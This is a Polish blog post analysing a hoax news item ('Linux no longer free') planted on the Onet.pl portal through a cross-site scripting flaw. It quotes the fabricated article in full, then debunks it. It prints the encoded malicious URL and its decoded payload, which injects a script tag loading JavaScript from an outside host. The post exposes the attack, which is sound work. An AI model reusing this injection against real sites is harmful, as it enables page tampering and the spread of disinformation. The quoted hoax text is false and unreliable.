Cross site scripting i "Linuks już nie darmowy"

Gratuluje poczucia humoru. "Linuks już nie darmowy" - taki tytuł można zobaczyć w layoucie Onet.pl pod adresem, który krąży sobie po różnych komunikatorach, czatach i w inny sposób. Znaleziono kolejny sposób na sianie fermentu, tym razem z wykorzystaniem właściwości największego polskiego portalu. Fajnie. A przecież jest okres przed desygnowaniem na premiera i w tej sferze również wszyscy chętnie uwierzą we wszystko. Środowisko internetowe wciąż jest hermetyczne i dowcipy ma branżowe. Ale kiedyś wypłynie na szerokie wody ogólnospołeczne...

Wikipedia pisze: "Cross-site scripting (XSS) to sposób ataku na serwis WWW polegający na osadzeniu w treści atakowanej strony kodu (zazwyczaj JavaScript), który wyświetlony innym użytkownikom może doprowadzić do wykonania przez nich niepożądanych akcji. Skrypt umieszczony w zaatakowanej stronie może obejść niektóre mechanizmy kontroli dostępu do danych użytkownika". Oczywiście to nie wszystkie zastosowania tego mechanizmu.

Pod sfabrykowanym linkiem, który przekazywany jest różnymi kanałami (http://tnij.org/linux_juz_nie_darmowy), a który w istocie stanowi skrót do nieco dłuższego URL, można przeczytać bełkotliwie napisany tekst, który przywołam w całości (dla celów archiwalnych, bo może przyda się kiedyś edukacyjnie):

W ciągu najbliższych dni Polska stanie się jedynym krajem na świecie w którym użytkowanie systemu operacyjnego Linuks nie będzie darmowe.

Wszystko za sprawą nowej ustawy o ochronie praw autorskich, którą zamierza wprowadzić PiS przed przekazaniem rządów Platformie Obywatelskiej. W myśl ustawy każdy komputer podłączony do internetu musi zostać zarejestrowany w stworzonym na ten cel Krajowym Rejestrze Teleinformatycznym. Jak tłumaczy minister rejestr ten wielokrotnie zwiększy wykrywalność przestępstw internetowych - zwłaszcza nielegalnego ściągania filmów, oprogramowania oraz muzyki.

Rejestracja w systemie ma być darmowa jedynie dla nowo rejestrowanych systemów operacyjnych Windows. Dane użytkownika rejestrującego produkt Microsoftu będą automatycznie przekazywane do KRT. Właściciele komputerów z już zarejestrowanymi systemami oraz ci którzy używaja innych systemów operacyjnych jak min. Linuks czy Mac OS będą musieli wnieść jednorazową opłatę za każdy komputer z dostępem do internetu. Wstępnie cena rejestracji została oszacowana na 47zł.

A tak to wygląda po zrenderowaniu strony i osadzonego tam tekstu z zewnętrznego źródła:

Fałszywa notatka dostępna pod adresem "w domenie" onet.pl (por. poniżej)

Ciekawe ile osób się na to nabierało? Zobaczymy, czy w głównych serwisach powtórzy się sfabrykowana informacja. W każdym razie pokazuje to siłę jaką mogą wykorzystać manipulatorzy.

Tnij.org to serwis, który służy do "skracania" linków. Tak naprawdę serwis tworzy przekierowanie z krótkiego adresu na ten prawdziwy. W tym przypadku prawdziwy (ale w jako hex) adres to:

http://wiadomosci.onet.pl/1635435%27%29%
3b%7d%64%6f%63%75%6d%65%6e%74%2e%77%72%
69%74%65%28%27%3c%73%63%72%69%70%74%20%
73%72%63%3d%22%68%74%74%70%3a%27%2b%53%
74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%
72%43%6f%64%65%28%34%37%29%2b%53%74%72%
69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%
6f%64%65%28%34%37%29%2b%27%6f%6e%2e%68%
6f%6d%65%6c%69%6e%75%78%2e%6f%72%67%27%
2b%53%74%72%69%6e%67%2e%66%72%6f%6d%43%
68%61%72%43%6f%64%65%28%34%37%29%2b%27%
61%2e%6a%73%22%20%27%2b%53%74%72%69%6e%
67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%
65%28%34%37%29%2b%53%74%72%69%6e%67%2b%
27%3e%27%29%3b%66%75%6e%63%74%69%6f%6e%
20%78%28%29%7b%78%28%27,18,item.html

Ten kod (zaczynający się od pierwszego procenta), po konwersji HEX to ASCII, wygląda tak:

');}document.write('<script
src="http:'+String.fromCharCode(47)+String.fromCharCode
(47)+'on.homelinux.org'+String.fromCharCode(47)+
'a.js" '+String.fromCharCode(47)+String+'>');
function x(){x('

Pozdrawiam pomysłodawców i wykonawców. Następnym razem postarajcie się jednak napisać notatkę językiem bardziej wiarygodnym. W Polsce ustawy przyjmowane są przez Parlament. Rząd sam z siebie żadnej ustawy nie może przyjąć. Jeśli cytujecie ministra, to podajcie jego nazwisko i ministerstwo, którym kieruje, etc...